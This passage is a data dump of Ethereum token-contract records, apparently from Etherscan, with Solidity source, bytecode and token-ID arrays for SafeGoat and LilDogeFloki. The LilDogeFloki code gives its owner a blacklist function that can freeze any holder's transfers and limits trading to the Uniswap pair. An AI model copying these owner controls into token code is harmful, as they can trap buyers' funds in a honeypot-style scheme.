here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100c1578063095ea7b31461015157806318160ddd146101b657806323b872dd146101e1578063313ce5671461026657806354fd4d501461029757806370a082311461032757806395d89b411461037e578063a9059cbb1461040e578063cae9ca5114610473578063dd62ed3e1461051e575b3480156100bb57600080fd5b50600080fd5b3480156100cd57600080fd5b506100d6610595565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101165780820151818401526020810190506100fb565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015d57600080fd5b5061019c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610633565b604051808215151515815260200191505060405180910390f35b3480156101c257600080fd5b506101cb610725565b6040518082815260200191505060405180910390f35b3480156101ed57600080fd5b5061024c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061072b565b604051808215151515815260200191505060405180910390f35b34801561027257600080fd5b5061027b6109a4565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102a357600080fd5b506102ac6109b7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ec5780820151818401526020810190506102d1565b50505050905090810190601f1680156103195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a55565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b50610393610a9d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d35780820151818401526020810190506103b8565b50505050905090810190601f1680156104005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041a57600080fd5b50610459600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b3b565b604051808215151515815260200191505060405180910390f35b34801561047f57600080fd5b50610504600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610ca1565b604051808215151515815260200191505060405180910390f35b34801561052a57600080fd5b5061057f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f3e565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561062b5780601f106106005761010080835404028352916020019161062b565b820191906000526020600020905b81548152906001019060200180831161060e57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156107f7575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156108035750600082115b1561099857816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061099d565b600090505b9392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a4d5780601f10610a2257610100808354040283529160200191610a4d565b820191906000526020600020905b815481529060010190602001808311610a3057829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b335780601f10610b0857610100808354040283529160200191610b33565b820191906000526020600020905b815481529060010190602001808311610b1657829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b8b5750600082115b15610c9657816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610c9b565b600090505b92915050565b600082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b83811015610ee2578082015181840152602081019050610ec7565b50505050905090810190601f168015610f0f5780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af1925050501515610f3357600080fd5b600190509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a7230582019d4eb4a1dcc0ad39402ab7836fa78d74609b2e5276738ce75846d51fb20ee3f0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 28311, 2575, 2509, 2050, 22022, 16147, 3207, 12376, 2575, 2050, 27814, 2546, 2475, 2497, 2620, 2683, 3540, 2581, 2094, 24096, 19481, 2575, 7011, 2575, 2683, 2050, 2620, 2050, 2575, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2385, 1025, 3206, 19204, 1063, 1013, 1013, 1013, 1030, 2709, 2561, 3815, 1997, 19204, 2015, 3853, 21948, 6279, 22086, 1006, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 4425, 1007, 1063, 1065, 1013, 1013, 1013, 1030, 11498, 2213, 1035, 3954, 1996, 4769, 2013, 2029, 1996, 5703, 2097, 2022, 5140, 1013, 1013, 1013, 1030, 2709, 1996, 5703, 3853, 5703, 11253, 1006, 4769, 1035, 3954, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 5703, 1007, 1063, 1065, 1013, 1013, 1013, 1030, 5060, 4604, 1036, 1035, 3643, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,638
0x9576e901d0bcec459d5ed5e11b0b1a221cbfe0e7
/** *Submitted for verification at Etherscan.io on 2021-05-10 */ /** *Submitted for verification at Etherscan.io on 2021-05-10 */ pragma solidity ^0.5.0; contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract SafeGoat is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { name = "SafeGoat"; symbol = "SafeGoat"; decimals = 18; _totalSupply = 1000000000000000000000000000000000; balances[msg.sender] = 1000000000000000000000000000000000; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806395d89b411161008c578063b5931f7c11610066578063b5931f7c1461044b578063d05c78da14610497578063dd62ed3e146104e3578063e6cb90131461055b576100ea565b806395d89b4114610316578063a293d1e814610399578063a9059cbb146103e5576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c5780633eaaf86b146102a057806370a08231146102be576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610645565b604051808215151515815260200191505060405180910390f35b6101e0610737565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610782565b604051808215151515815260200191505060405180910390f35b610284610a12565b604051808260ff1660ff16815260200191505060405180910390f35b6102a8610a25565b6040518082815260200191505060405180910390f35b610300600480360360208110156102d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a2b565b6040518082815260200191505060405180910390f35b61031e610a74565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035e578082015181840152602081019050610343565b50505050905090810190601f16801561038b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103cf600480360360408110156103af57600080fd5b810190808035906020019092919080359060200190929190505050610b12565b6040518082815260200191505060405180910390f35b610431600480360360408110156103fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2c565b604051808215151515815260200191505060405180910390f35b6104816004803603604081101561046157600080fd5b810190808035906020019092919080359060200190929190505050610cb5565b6040518082815260200191505060405180910390f35b6104cd600480360360408110156104ad57600080fd5b810190808035906020019092919080359060200190929190505050610cd5565b6040518082815260200191505060405180910390f35b610545600480360360408110156104f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d02565b6040518082815260200191505060405180910390f35b6105916004803603604081101561057157600080fd5b810190808035906020019092919080359060200190929190505050610d89565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561063d5780601f106106125761010080835404028352916020019161063d565b820191906000526020600020905b81548152906001019060200180831161062057829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006107cd600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610896600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095f600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0a5780601f10610adf57610100808354040283529160200191610b0a565b820191906000526020600020905b815481529060010190602001808311610aed57829003601f168201915b505050505081565b600082821115610b2157600080fd5b818303905092915050565b6000610b77600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c03600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211610cc357600080fd5b818381610ccc57fe5b04905092915050565b600081830290506000831480610cf3575081838281610cf057fe5b04145b610cfc57600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015610d9d57600080fd5b9291505056fea265627a7a723158203f0ffb29d6b7bfc613b9cdcad5eed21e64080eedba6a51f5953c19426dd26e6764736f6c63430005110032
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 28311, 2575, 2063, 21057, 2487, 2094, 2692, 9818, 8586, 19961, 2683, 2094, 2629, 2098, 2629, 2063, 14526, 2497, 2692, 2497, 2487, 2050, 19317, 2487, 27421, 7959, 2692, 2063, 2581, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5709, 1011, 2184, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5709, 1011, 2184, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 3206, 9413, 2278, 11387, 18447, 2121, 12172, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 19204, 12384, 2121, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 5703, 1007, 1025, 3853, 21447, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,639
0x9577399bda94e69613afe039667ca5d807904935
/** *Submitted for verification at Etherscan.io on 2021-10-31 * t.me/lildogeflokitoken Lets moon! **/ /** // SPDX-License-Identifier: Unlicensed **/ pragma solidity ^0.8.6; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function approve(address to, uint value) external returns (bool); } contract LilDogeFloki is Context, IERC20, Ownable { string private constant _name = unicode"LilDogeFloki"; string private constant _symbol = "LILDOGE"; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping(address => uint256)) private _allowances; mapping (address => bool) private bots; mapping (address => uint) private cooldown; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; IUniswapV2Router02 private uniswapV2Router; address[] private _excluded; address private c; address private wallet1; address private uniswapV2Pair; address private WETH; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee; uint256 private _LiquidityFee; uint64 private buyCounter; uint8 private constant _decimals = 9; uint16 private maxTx; bool private tradingOpen; bool private inSwap; bool private swapEnabled; event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable _wallet1) { c = address(this); wallet1 = _wallet1; _rOwned[c] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[c] = true; _isExcludedFromFee[wallet1] = true; excludeFromReward(owner()); excludeFromReward(c); excludeFromReward(wallet1); emit Transfer(address(0),c,_tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()] - amount); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount / currentRate; } function nofees() private { _taxFee = 0; _LiquidityFee = 0; } function basefees() private { _taxFee = 0; _LiquidityFee = 12; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from] && !bots[to]); basefees(); if (from != owner() && to != owner() && tradingOpen) { if (!inSwap) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && !inSwap) { if (buyCounter < 100) require(amount <= _tTotal * maxTx / 1000); buyCounter++; } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && !inSwap) { if (swapEnabled) { uint256 contractTokenBalance = balanceOf(c); if (contractTokenBalance > balanceOf(uniswapV2Pair) * 1 / 10000) { swapAndLiquify(contractTokenBalance); } } } if (!inSwap) { if (buyCounter == 10) maxTx = 20; //2% if (buyCounter == 25) maxTx = 30; //3% if (buyCounter == 35) maxTx = 50; //5% if (buyCounter == 40) { maxTx = 1000; //100% } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to] || inSwap) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 fifth = contractTokenBalance / 5; uint256 fourfifth = contractTokenBalance - fifth; swapTokensForEth(fourfifth); uint256 balance = c.balance / 5; sendETHToFee(balance*4); addLiquidity(fifth, balance); emit SwapAndLiquify(fourfifth, balance*4, fifth); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(c, address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( c, tokenAmount, 0, 0, owner(), block.timestamp ); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = c; path[1] = WETH; _approve(c, address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, c, block.timestamp); } function sendETHToFee(uint256 ETHamount) private { payable(wallet1).transfer(ETHamount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); WETH = uniswapV2Router.WETH(); _approve(c, address(uniswapV2Router), ~uint256(0)); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(c, WETH); uniswapV2Router.addLiquidityETH{value: c.balance}(c,balanceOf(c),0,0,owner(),block.timestamp); maxTx = 20; // 2% IERC20(uniswapV2Pair).approve(address(uniswapV2Router),~uint256(0)); tradingOpen = true; swapEnabled = true; } function manualswap() external { uint256 contractBalance = balanceOf(c); swapTokensForEth(contractBalance); } function manualsend() external { uint256 contractETHBalance = c.balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) nofees(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity * currentRate; _rOwned[c] = _rOwned[c] + rLiquidity; _tOwned[c] = _tOwned[c] + tLiquidity; } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal - rFee; _tFeeTotal = _tFeeTotal + tFee; } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount, _taxFee, _LiquidityFee); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, 